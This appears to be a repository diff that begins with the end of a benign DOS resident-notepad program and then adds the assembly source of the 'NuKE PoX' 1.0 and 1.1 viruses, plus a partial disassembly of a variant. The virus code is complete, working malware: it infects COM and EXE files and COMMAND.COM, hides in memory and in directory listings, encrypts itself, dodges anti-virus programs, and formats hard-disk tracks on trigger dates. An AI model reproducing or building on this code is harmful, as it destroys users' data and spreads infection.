IRET ;An interrupt needs an IRET
N_PAD ENDP
DISPLAY PROC NEAR ;Puts the whole pad on the screen
PUSH AX
MOV ATTRIBUTE,112 ;Use reverse video
MOV PAD_OFFSET,0 ;Use 1st 250 bytes of pad memory
LEA AX,PUT_CHAR ;Make IO use Put-Char so it does
MOV IO_CHAR,AX
CALL IO ;Put result on screen
POP AX
RET ;Leave
DISPLAY ENDP
CRLF PROC NEAR ;This handles carriage returns
CMP PAD_CURSOR,225 ;Are we on last line?
JGE DONE ;Yes, can't do a carriage return, exit
NEXT_CHAR:
MOV BX,PAD_CURSOR ;Get pad location
MOV AX,BX ;Get another copy for destructive tests
EDGE_TEST:
CMP AX,24 ;Are we at the edge of the pad display?
JE AT_EDGE ;Yes -- fill pad with new cursor
JL ADD_SPACE ;No -- Advance another space
SUB AX,25 ;Subtract another line-width
JMP EDGE_TEST ;Check if at edge now
ADD_SPACE:
MOV PAD[BX],' ' ;Add a space
INC PAD_CURSOR ;Update pad location
JMP NEXT_CHAR ;Check if at edge now
AT_EDGE:
MOV PAD[BX+1],'_' ;Put cursor in next location
INC PAD_CURSOR ;Update pad location to new cursor
DONE: RET ;And out.
CRLF ENDP
GET_CHAR PROC NEAR ;Gets a char from screen and advances position
PUSH DX
MOV SI,2 ;Loop twice, once for char, once for attribute
MOV DX,STATUS_PORT ;Get ready to read video controller status
G_WAIT_LOW: ;Start waiting for a new horizontal scan -
IN AL,DX ;Make sure the video controller scan status
TEST AL,1 ;is low
JNZ G_WAIT_LOW
G_WAIT_HIGH: ;After port has gone low, it must go high
IN AL,DX ;before it is safe to read directly from
TEST AL,1 ;the screen buffer in memory
JZ G_WAIT_HIGH
MOV AH,ES:[DI] ;Do the move from the screen, one byte at a time
INC DI ;Move to next screen location
DEC SI ;Decrement loop counter
CMP SI,0 ;Are we done?
JE LEAVE ;Yes
MOV PAD[BX],AH ;No -- put char we got into the pad
JMP G_WAIT_LOW ;Do it again
LEAVE: INC BX ;Update pad location
POP DX
RET
GET_CHAR ENDP
PUT_CHAR PROC NEAR ;Puts one char on screen and advances position
PUSH DX
MOV AH,PAD[BX] ;Get the char to be put onto the screen
MOV SI,2 ;Loop twice, once for char, once for attribute
MOV DX,STATUS_PORT ;Get ready to read video controller status
P_WAIT_LOW: ;Start waiting for a new horizontal scan -
IN AL,DX ;Make sure the video controller scan status
TEST AL,1 ;is low
JNZ P_WAIT_LOW
P_WAIT_HIGH: ;After port has gone low, it must go high
IN AL,DX ;before it is safe to write directly to
TEST AL,1 ;the screen buffer in memory
JZ P_WAIT_HIGH
MOV ES:[DI],AH ;Move to screen, one byte at a time
MOV AH,ATTRIBUTE ;Load attribute byte for second pass
INC DI ;Point to next screen postion
DEC SI ;Decrement loop counter
JNZ P_WAIT_LOW ;If not zero, do it one more time
INC BX ;Point to next char in pad
POP DX
RET ;Exeunt
PUT_CHAR ENDP
IO PROC NEAR ;This scans over all screen positions of the pad
ASSUME ES:SCREEN ;Use screen as extra segment
MOV BX,SCREEN
MOV ES,BX
MOV DI,SCREEN_SEG_OFFSET ;DI will be pointer to screen postion
ADD DI,FIRST_POSITION ;Add width of screen minus pad width
MOV BX,PAD_OFFSET ;BX will be pad location pointer
MOV CX,10 ;There will be 10 lines
LINE_LOOP:
MOV DX,25 ;And 25 spaces across
CHAR_LOOP:
CALL IO_CHAR ;Call Put-Char or Get-Char
DEC DX ;Decrement character loop counter
JNZ CHAR_LOOP ;If not zero, scan over next character
ADD DI,FIRST_POSITION ;Add width of screen minus pad width
LOOP LINE_LOOP ;And now go back to do next line
RET ;Finished
IO ENDP
LOAD_PAD PROC NEAR ;This procedure intializes everything
ASSUME DS:INTERRUPTS ;The data segment will be the Interrupt area
MOV AX,INTERRUPTS
MOV DS,AX
MOV AX,KEYBOARD_INT ;Get the old interrupt service routine
MOV OLD_KEYBOARD_INT,AX ;address and put it into our location
MOV AX,KEYBOARD_INT[2] ;OLD_KEYBOARD_INT so we can call it.
MOV OLD_KEYBOARD_INT[2],AX
MOV KEYBOARD_INT,OFFSET N_PAD ;Now load the address of our notepad
MOV KEYBOARD_INT[2],CS ;routine into the keyboard interrupt
MOV AH,15 ;Ask for service 15 of INT 10H
INT 10H ;This tells us how display is set up
SUB AH,25 ;Move to twenty places before edge
SHL AH,1 ;Mult by two (char & attribute bytes)
MOV BYTE PTR FIRST_POSITION,AH ;Set screen cursor
MOV STATUS_PORT,03BAH ;Assume this is a monochrome display
TEST AL,4 ;Is it?
JNZ EXIT ;Yes - jump out
MOV SCREEN_SEG_OFFSET,8000H ;No - set up for graphics display
MOV STATUS_PORT,03DAH
EXIT: MOV DX,OFFSET LOAD_PAD ;Set up everything but LOAD_PAD to
INT 27H ;stay and attach itself to DOS
LOAD_PAD ENDP
CODE_SEG ENDS
END FIRST ;END "FIRST" so 8088 will go to FIRST first.

@@ -0,0 +1,346 @@
;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
;-* (c) Rock Steady, Viral Developments -*
;*- (c) NuKE Software Developement 1991, 1992 *-
;-* Virus: NuKE PoX Version 1.0 (Alias `Mutating Rocko') -*
;*- ~~~~~~ *-
;-* Notes: COM Infector, Hooks Int 9h & Int 21h, Memory Stealthness -*
;*- ~~~~~~ Dir Stealthness (FCB Way), Encrypting Virus (100 different *-
;-* Encrypted Copies of the Virus) -*
;*- Bytes: 609 Bytes Memory: (609 * 2) = 1,218 Bytes *-
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
crypt_size equ crypt - init_virus ;All that gets Incrypted
virus_size equ last - init_virus ;Size of the Virus
mut1 equ 3
mut2 equ 1
mut3 equ 103h
del_code equ 53h ;CTRL-ATL-DEL Key
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
rocko proc far
start: jmp init_virus ;+3 bytes
;-*-*-*-*-*-*-*-*-[Start of Virus]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
init_virus: call decrypt ;Decryption Routine Please ;+3 Bytes
call doit_now ;Doit VirusMan... ;+3 Bytes
;========
doit_now: pop bp ;Anything ABOVE THIS LINE 9 Bytes
sub bp,109h ;have to be added to the 100h! This
push ax ;SETs our `Delta Pointer'.
push bx
push cx
push dx ;Save registers
push si
push di
push bp
push es
push ds
mov ax,0abcdh ;Are we resident Already?
int 21h
cmp bx,0abcdh ;Yupe... Quit Then...
je exit_com
push cs ;Get CS=DS
pop ds
mov cx,es
mov ax,3509h ;Hook Int 9 Please...
int 21h
mov word ptr cs:[int9+2][bp],es ;Save Orignal Int 9h
mov word ptr cs:[int9][bp],bx ;Save Orignal Int 9h
mov ax,3521h ;Some AVs may INTCEPT this Call!
int 21h ;May be better to go Manually...
mov word ptr cs:[int21+2][bp],es ;Save the Int
mov word ptr cs:[int21][bp],bx ;Vector Table
dec cx ;Get a new Memory block
mov es,cx ;Put it Back to ES
mov bx,es:mut1
mov dx,virus_size+virus_size ;Size to `Hide'
mov cl,4 ;And all this crap hides
shr dx,cl ;your number of bytes in DX
add dx,4
mov cx,es
sub bx,dx
inc cx
mov es,cx
mov ah,4ah ;Call int to do it...
int 21h
jc exit_com
mov ah,48h
dec dx
mov bx,dx ;It's Done... Yeah!
int 21h
jc exit_com
dec ax
mov es,ax
mov cx,8h ;Here we move our Virus into
mov es:mut2,cx ;the `Hidden' memory!
sub ax,0fh
mov di,mut3
mov es,ax
mov si,bp
add si,offset init_virus
mov cx,virus_size
cld
repne movsb
mov ax,2521h ;Restore Int21 with ours
mov dx,offset int21_handler ;Where it starts
push es
pop ds
int 21h
mov ax,2509h ;Restore Int9 with ours
mov dx,offset int9_handler ;The Handler...
int 21h
push cs
pop ds
exit_com:
mov bx,offset buffer ; Its a COM file restore
add bx,bp ; First three Bytes...
mov ax,[bx] ; Mov the Byte to AX
mov word ptr ds:[100h],ax ; First two bytes Restored
add bx,2 ; Get the next Byte
mov al,[bx] ; Move the Byte to AL
mov byte ptr ds:[102h],al ; Restore the Last of 3 Byt
pop ds
pop es
pop bp ; Restore Regesters
pop di
pop si
pop dx
pop cx
pop bx
pop ax
mov ax,100h ; Jump Back to Beginning
push ax ; Restores our IP (a CALL
retn ; Saves them, now we change
int21 dd ? ;Our Old Int21
int9 dd ? ;Our Old Int9
;-*-*-*-*-*-*-*-*[Int 9h Handler]-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
int9_handler:
push ax
in al,60h ;Has the user attempted a
cmp al,del_code ;CTRL-ALT-DEL
je warm_reboot ;Yes! Screw him
bye_bye: pop ax
jmp dword ptr cs:[int9] ;Nope, Leave alone
warm_reboot:
mov ah,2ah ;Get Date Please
int 21h
cmp dl,18h ;Is it 24th of the Month?
jne bye_bye ;Yes, bye_Bye HD
mov ch,0
hurt_me: mov ah,05h
mov dh,0
mov dl,80h ;Formats a few tracks...
int 13h ;Hurts So good...
inc ch
cmp ch,20h
loopne hurt_me
db 0eah,0f0h,0ffh,0ffh,0ffh ;Reboot!
iret
;-*-*-*-*-*-*-*-*-[Dir Stealth Handler]-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
dir_handler:
pushf
push cs
call int21call ;Get file Stats
test al,al ;Good FCB?
jnz no_good ;nope
push ax
push bx
push es
mov ah,51h ;Is this Undocmented? huh...
int 21h
mov es,bx
cmp bx,es:[16h]
jnz not_infected ;Not for us man...
mov bx,dx
mov al,[bx]
push ax
mov ah,2fh ;Get file DTA
int 21h
pop ax
inc al
jnz fcb_okay
add bx,7h
fcb_okay: mov ax,es:[bx+17h]
and ax,1fh ;UnMask Seconds Field
xor al,1dh ;Is in 58 seconds?
jnz not_infected ;Nope...
and byte ptr es:[bx+17h],0e0h
sub es:[bx+1dh],virus_size ;Yes minus virus size
sbb es:[bx+1fh],ax
not_infected:pop es
pop bx
pop ax
no_good: iret
;-*-*-*-*-*-*-*-*[Int 21h Handler]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
int21_handler:
cmp ax,4b00h ;File executed
je execute
cmp ah,11h ;Dir handler
je dir_handler
cmp ah,12h ;Next file Dir handler
je dir_handler
cmp ax,0abcdh ;Virus testing
jne int21call
mov bx,0abcdh
int21call:
jmp dword ptr cs:[int21] ;Split...
ret
execute:
push ax
push bx
push cx
push dx
push si
push di
push es
push ds
mov ax,4300h ;Get file Attribs
int 21h
jc exit
test cl,1h ;Make sure there normal
jz open_file ;Okay there are
and cl,0feh ;Nope, Fix them...
mov ax,4301h ;Save them now
int 21h
jc exit
open_file: mov ax,3D02h
int 21h ;Open File to Infect please
jc exit ;Error Split
mov bx,ax ;BX File handler
mov ax,5700h ;Get file TIME + DATE
int 21h
mov al,cl
or cl,1fh ;Un mask Seconds
dec cx ;60 seconds
dec cx ;58 seconds
xor al,cl ;Is it 58 seconds?
jz exit ;File already infected
push cs
pop ds
mov word ptr ds:[old_time],cx ;Save Time
mov word ptr ds:[old_date],dx ;Save Date
mov ah,3Fh
mov cx,3h
mov dx,offset ds:[buffer] ;Read first 3 bytes
int 21h
jc exit_now ;Error Split
mov ax,4202h ;Move file pointer to end
xor cx,cx ;of file...
xor dx,dx
int 21h
jc exit_now ;Error Split
cmp word ptr cs:[buffer],5A4Dh ;Is file an EXE?
je exit ;Yupe! Split
mov cx,ax
sub cx,3 ;Set the JMP
mov word ptr cs:[jump_address+1],cx
call infect_me ;Infect!
jc exit_now ;error split
mov ah,40h ;Write back the first 3
mov dx,offset ds:[jump_address] ;bytes
mov cx,3h
int 21h
exit_now:
mov cx,word ptr cs:[old_time] ;Restore old time
mov dx,word ptr cs:[old_date] ;Restore Old date
mov ax,5701h
int 21h
mov ah,3Eh
int 21h ;Close File now...
exit:
pop ds
pop es
pop di
pop si
pop dx
pop cx
pop bx
pop ax
jmp dword ptr cs:[int21] ;Jmp back to whatever
rocko endp
;-*-*-*-*-*-*-*-*-*[Infection Routine]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
infect_me proc near
mov ah,2ch ;Get Time
int 21h
push dx ;Split seconds to AX
pop ax
mov byte ptr cs:[value],al ;AL = 0 to 99
;New Encryption Value
mov cx,virus_size
push cs
pop es ;Copy ANOTHER copy of the
mov si,offset init_virus ;Virus to the end of us
mov di,offset last
repne movsb
mov cx,crypt_size
sub cx,3h ;Encrypt that 2nd copy!
push bp
mov bp,offset last + 3h
call decrypt_encrypt
pop bp
mov ah,40h ;Write the New Encrypted
mov dx,offset last ;Virus to File!
mov cx,virus_size
int 21h
jc exit_error ;Error Split
mov ax,4200h
xor cx,cx ;Pointer back to beginning
xor dx,dx ;file!
int 21h
jc exit_error ;Split Dude...
clc ;Clear carry flag
retn
exit_error:
stc ;Set carry flag
retn
infect_me endp
old_time dw ?
old_date dw ?
jump_address db 0E9h,90h,90h
buffer db 90h,0CDh,020h
crypt:
msgs db "(c) Rock Steady/NuKE" ;No other than `Moi'...
;-*-*-*-*[Simple BUT EFFECTIVE Encryption/Decryption Routine]-*-*-*-*-*-*-
decrypt proc near
pop bp
push bp
mov al,byte ptr [value-106h][bp] ;Get new Encryption
mov cx,crypt_size ;Value
decrypt_encrypt:
xor cs:[bp],al ;Fuck Scanners and put a
;***************************************************************************
not al
inc bp ;`NOT AL' anywhere here...
loop decrypt_encrypt
retn
value db 00h ;Encryption value!
decrypt endp
last:
seg_a ends
end start
@@ -0,0 +1,497 @@
;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
;-* (c) Rock Steady, Viral Developments -*
;*- (c) NuKE Software Developement 1991, 1992 *-
;-* Virus: NuKE PoX Version 1.1 (Alias: Evil Genius, NPox) -*
;*- ~~~~~~ *-
;-* Notes: Resident EXE & COM Infecting, Memory Stealth, Directory -*
;*- ~~~~~~ Stealth (FCB Method), Anti-Viral Products Aware, Infects *-
;-* COMMAND.COM on first Run, CTRL-ALT-DEL Aware... -*
;*- Bytes: 963 Bytes Memory: 963 Bytes *-
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
virus_size equ last - init_virus
mut1 equ 3
mut2 equ 1
mut3 equ 103h
del_code equ 53h
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
rocko proc far
start: jmp init_virus
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Virus Begins Here...
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
init_virus:
call doit_now ;Doit VirusMan...
doit_now: pop bp ;Not to Lose Track
sub bp,106h ;Set our position
push ax ;Save all the registers
push bx
push cx
push dx
push si
push di
push bp
push es
push ds
mov ax,7bcdh ;Are we resident Already?
int 21h
cmp bx,7bcdh ;Yupe... Quit Then...
je exit_com
xor bx,bx
push cs ;Get CS=DS
pop ds
mov cx,es
mov ax,3509h ;Hook Int 9 Please...
int 21h
mov word ptr cs:[int9+2][bp],es
mov word ptr cs:[int9][bp],bx
mov ax,3521h ;Sometimes tend to intercept
int 21h ;This Interrupt...
mov word ptr cs:[int21+2][bp],es ;Save the Int
mov word ptr cs:[int21][bp],bx ;Vector Table
dec cx ;Get a new Memory block
mov es,cx ;Put it Back to ES
mov bx,es:mut1
mov dx,virus_size ;Size to `Hide'
mov cl,4 ;And all this crap hides
shr dx,cl ;your number od bytes in DX
add dx,4
mov cx,es
sub bx,dx
inc cx
mov es,cx
mov ah,4ah ;Call int to do it...
int 21h
jc exit_com
mov ah,48h
dec dx
mov bx,dx ;It's Done... Yeah!
int 21h
jc exit_com
dec ax
mov es,ax
mov cx,8h ;Here we move our Virus into
mov es:mut2,cx ;the `Hidden' memory!
sub ax,0fh
mov di,mut3
mov es,ax
mov si,bp
add si,offset init_virus
mov cx,virus_size
cld
repne movsb
mov ax,2521h ;Restore Int21 with ours
mov dx,offset int21_handler ;Where it starts
push es
pop ds
int 21h
mov ax,2509h ;Restore Int9 with ours
mov dx,offset int9_handler ;The Handler...
int 21h
push cs
pop ds
exit_com:
cmp word ptr cs:[buffer][bp],5A4Dh
je exit_exe_file ;Its an EXE file...
mov bx,offset buffer ;Its a COM file restore
add bx,bp ;First three Bytes...
mov ax,[bx] ;Mov the Byte to AX
mov word ptr ds:[100h],ax ;First two bytes Restored
add bx,2 ;Get the next Byte
mov al,[bx] ;Move the Byte to AL
mov byte ptr ds:[102h],al ;Restore the Last of 3 Bytes
pop ds
pop es
pop bp ;Restore Regesters
pop di
pop si
pop dx
pop cx
pop bx
pop ax
mov ax,100h ;Jump Back to Beginning
push ax ;Restores our IP (a CALL
retn ;Saves them, now we changed
int21 dd ? ;Our Old Int21
int9 dd ? ;Our Old Int9
exit_exe_file:
mov bx,word ptr cs:[buffer+22][bp] ;Load CS Regester
mov dx,cs
sub dx,bx
mov ax,dx
add ax,word ptr cs:[exe_cs][bp] ;Get original CS
add dx,word ptr cs:[exe_ss][bp] ;Get original SS
mov bx,word ptr cs:[exe_ip][bp] ;Get original IP
mov word ptr cs:[fuck_yeah][bp],bx ;Restore IP
mov word ptr cs:[fuck_yeah+2][bp],ax ;Restore CS
mov ax,word ptr cs:[exe_sp][bp] ;Get original SP
mov word ptr cs:[Rock_Fix1][bp],dx ;Restore SS
mov word ptr cs:[Rock_Fix2][bp],ax ;Restore SP
pop ds
pop es
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
db 0B8h ;This is now a MOV AX,XXXX
Rock_Fix1: ;XXXX is the original SS
dw 0 ;Our XXXX Value
cli ;Disable Interrupts
mov ss,ax ;Mov it to SS
db 0BCh ;This is now a MOV SP,XXXX
Rock_Fix2:
dw 0 ;The XXXX Value for SP
sti ;Enable interrupts
db 0EAh ;JMP XXXX:YYYY
fuck_yeah:
dd 0 ;Dword IP:CS (Reverse order!
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Int 9 Handler
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
int9_handler: ;Every TIME a KEY is pressed
push ax ;This ROUTINE is called!
in al,60h ;Has the user attempted a
cmp al,del_code ;CTRL-ALT-DEL
je warm_reboot ;Yes! Screw him
bye_bye: pop ax
jmp dword ptr cs:[int9] ;Nope, Leave system alone
warm_reboot:
mov ah,2ah ;Get Date Please
int 21h
cmp dl,18h ;Is it 24th of the Month?
jne bye_bye ;Yes, bye_Bye HD
mov ch,0
hurt_me: mov ah,05h
mov dh,0
mov dl,80h ;Formats a few tracks...
int 13h ;Hurts So good...
inc ch
cmp ch,20h
loopne hurt_me
db 0eah,0f0h,0ffh,0ffh,0ffh ;Reboot!
iret
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Dir Handler
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
dir_handler:
pushf
push cs
call int21call ;Get file Stats
test al,al ;Good FCB?
jnz no_good ;nope
push ax
push bx
push es
mov ah,51h ;Is this Undocmented? huh...
int 21h
mov es,bx
cmp bx,es:[16h]
jnz not_infected ;Not for us man...
mov bx,dx
mov al,[bx]
push ax
mov ah,2fh ;Get file DTA
int 21h
pop ax
inc al
jnz fcb_okay
add bx,7h
fcb_okay: mov ax,es:[bx+17h]
and ax,1fh ;UnMask Seconds Field
xor al,1dh ;Is in 58 seconds?
jnz not_infected ;Nope...
and byte ptr es:[bx+17h],0e0h
sub es:[bx+1dh],virus_size ;Yes minus virus size
sbb es:[bx+1fh],ax
not_infected: pop es
pop bx
pop ax
no_good: iret
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Int 21 Handler
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
int21_handler:
cmp ax,4b00h ;File executed
je execute
cmp ah,11h ;Dir handler
je dir_handler
cmp ah,12h ;Next file Dir handler
je dir_handler
cmp ax,7bcdh ;Virus testing
jne int21call
jmp execute
int21call:
jmp dword ptr cs:[int21] ;Split...
execute:
push ax
push bx
push cx
push dx
push si
push di
push es
push ds
cmp ax,7bcdh ;Was Virus testing if it was
jne continue ;Alive? If No Continue
push cs
pop ds ;If Yes, Check if COMMAND.CO
mov dx,offset command ;Is infected! And return
jmp continue2
continue:
call check_name ;Make sure file executed
jc exit_now ;Ain't a Anti-Viral program
continue2: ;With the CRC-32 checkers
mov ax,4300h ;Get file Attribs
int 21h
jc exit
test cl,1h ;Make sure there normal
jz open_file ;Okay there are
and cl,0feh ;Nope, Fix them...
mov ax,4301h ;Save them now
int 21h
jc exit
open_file: mov ax,3D02h
int 21h ;Open File to Infect please
jc exit ;Error Split
mov bx,ax ;BX File handler
mov ax,5700h ;Get file TIME + DATE
int 21h
mov al,cl
or cl,1fh ;Un mask Seconds
dec cx ;60 seconds
dec cx ;58 seconds
xor al,cl ;Is it 58 seconds?
jz exit ;File already infected
push cs
pop ds
mov word ptr ds:[old_time],cx ;Save Time
mov word ptr ds:[old_date],dx ;Save Date
mov ah,3Fh
mov cx,20h
mov dx,offset ds:[buffer] ;Read first 20h bytes
int 21h
jc exit_now ;Error Split
mov ax,4202h ;Move file pointer to end of
xor cx,cx ;file...
xor dx,dx
int 21h
jc exit_now ;Error Split
cmp word ptr cs:[buffer],5A4Dh ;Is file an EXE?
je exe_file ;JMP to EXE Infector
mov cx,ax
sub cx,3 ;Set the JMP
mov word ptr cs:[jump_address+1],cx
call infect_me ;Infect!
jc exit_now ;error split
mov ah,40h ;Write back the firs
mov dx,offset ds:[jump_address] ;bytes
mov cx,3h
int 21h
exit_now:
mov cx,word ptr cs:[old_time] ;Restore old time
mov dx,word ptr cs:[old_date] ;Restore Old date
mov ax,5701h
int 21h
exit_now2:
mov ah,3Eh
int 21h ;Close File now...
exit:
pop ds
pop es
pop di
pop si
pop dx
pop cx
pop bx
pop ax
cmp ax,7bcdh ;Virus checking if alive
jne leave_now ;No, Exit normally
mov bx,ax ;Yes, Fix BX with codez
leave_now:
jmp dword ptr cs:[int21] ;Jmp back to whatever
exe_file:
mov cx,word ptr cs:[buffer+20] ;IP Regester
mov word ptr cs:[exe_ip],cx ;Save IP Regester
mov cx,word ptr cs:[buffer+22] ;CS Regester
mov word ptr cs:[exe_cs],cx ;Save CS Regester
mov cx,word ptr cs:[buffer+16] ;SP Regester
mov word ptr cs:[exe_sp],cx ;Save SP Regester
mov cx,word ptr cs:[buffer+14] ;SS Regester
mov word ptr cs:[exe_ss],cx ;Save SS Regester
push ax
push dx
call multiply ;Figure a new CS:IP
sub dx,word ptr cs:[buffer+8]
mov word ptr cs:[buffer+22],dx ;Restore New CS
mov word ptr cs:[buffer+20],ax ;Restore New IP
pop dx
pop ax
add ax,virus_size
adc dx,0
push ax
push dx
call multiply ;Figure a new SS:SP
sub dx,word ptr cs:[buffer+8] ;Exe Size (512 Usuall
add ax,40h
mov word ptr cs:[buffer+14],dx ;New SS Pointer
mov word ptr cs:[buffer+16],ax ;New SP Pointer
pop dx
pop ax
push bx
push cx
mov cl,7 ;Fix for Header for
shl dx,cl ;new file size in 512
;byte pages
mov bx,ax
mov cl,9 ;And the remainder
shr bx,cl ;after dividing by
;512...
add dx,bx
and ax,1FFh
jz outta_here
inc dx
outta_here:
pop cx
pop bx
mov word ptr cs:[buffer+2],ax ;Save Remainder
mov word ptr cs:[buffer+4],dx ;Save Size in 512 pag
call infect_me ;INFECT File! Yeah!
jc exit_exe
mov ah,40h ;Write NEW EXE Header back
mov dx,offset ds:[buffer] ;to EXE File! Points to
mov cx,20h ;The Virus Now!!! ehhe
int 21h
exit_exe:
jmp exit_now
rocko endp
exe_ip dw 0 ;Original IP,CS,SP,SS From EXE
exe_cs dw 0 ;Header!
exe_sp dw 0
exe_ss dw 0
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Infection Routine...
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
infect_me proc near
mov ah,40h ;Write the New Encrypted
mov dx,offset init_virus ;Virus to File!
mov cx,virus_size
int 21h
jc exit_error ;Error Split
mov ax,4200h
xor cx,cx ;Pointer back to beginning
xor dx,dx ;file!
int 21h
jc exit_error ;Split Dude...
clc ;Clear carry flag
retn
exit_error:
stc ;Set carry flag
retn
infect_me endp
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Fix EXE Header...Gets new SS, CS Values for EXEs headers
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
multiply proc near
push bx
push cx
mov cl,0Ch
shl dx,cl
mov bx,ax
mov cl,4
shr bx,cl
add dx,bx
and ax,0Fh
pop cx
pop bx
retn
multiply endp
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Check to see if an `Anti-Viral' Product is being executed.
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
check_name proc near
push si
push cx
mov si,dx
mov cx,128h
loop_me:
cmp byte ptr ds:[si],2Eh ;Find ASCIIZ String
je next_ok
inc si
loop loop_me
next_ok:
cmp ds:[si-2],'TO' ;Is it ??PROT.EXE (F-PROT)
jne next_1 ;Naaa
cmp ds:[si-4],'RP'
je bad_file ;Yupe...
next_1:
cmp ds:[si-2],'NA' ;Is it SCAN.EXE (McAffee)
jne next_2 ;Naaa
cmp ds:[si-4],'CS'
je bad_file ;Yupe...
next_2:
cmp ds:[si-2],'NA' ;is it ?LEAN.EXE (Clean.EXE
jne next_3 ;Naaa
cmp ds:[si-4],'EL'
je bad_file ;Yupe...
next_3:
pop cx
pop si ;good file Set CARRY FLAG
clc ;to normal
retn
bad_file:
pop cx ;Bad file, Set CARRY FLAG
pop si ;ON!!!
stc
retn
check_name endp
command db "C:\COMMAND.COM",0 ;What to infect!
old_time dw ?
old_date dw ?
jump_address db 0E9h,90h,90h
buffer db 90h,0CDh,020h
db 30h DUP (?)
msg db "NukE PoX V1.1 - R.S"
last:
seg_a ends
end start
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,941 @@
PAGE 59,132
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ NPOX21 ÛÛ
;ÛÛ ÛÛ
;ÛÛ Created: 28-Sep-92 ÛÛ
;ÛÛ Passes: 5 Analysis Options on: none ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
data_1e equ 16h
data_2e equ 3 ;*
data_32e equ 103h ;*
data_33e equ 1 ;*
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
npox21 proc far
start:
jmp short $+3 ; delay for I/O
nop
call sub_1
npox21 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_1 proc near
pop bp
sub bp,106h
push ax
push bx
push cx
push dx
push si
push di
push bp
push es
push ds
mov ah,2Ah ; '*'
int 21h ; DOS Services ah=function 2Ah
; get date, cx=year, dh=month
; dl=day, al=day-of-week 0=SUN
cmp dl,0Dh
je loc_2 ; Jump if equal
jmp short loc_5
db 90h
loc_2:
mov ch,0
locloop_3:
mov ah,5
mov dh,0
mov dl,80h
int 13h ; Disk dl=drive 0 ah=func 05h
; format track=ch or cylindr=cx
; al=interleave, dh=head
inc ch
jc loc_4 ; Jump if carry Set
cmp ch,10h
loopnz locloop_3 ; Loop if zf=0, cx>0
loc_4:
mov al,2
mov cx,20h
mov dx,0
int 26h ; Absolute disk write, drive al
; if disk under 32MB, dx=start
; cx=#sectors, ds:bx=buffer
; else cx=-1, ds:dx=parm block
;* jmp far ptr loc_66 ;*
db 0EAh,0F0h,0FFh,0FFh,0FFh
loc_5:
mov ax,0ABDCh
int 21h ; ??INT Non-standard interrupt
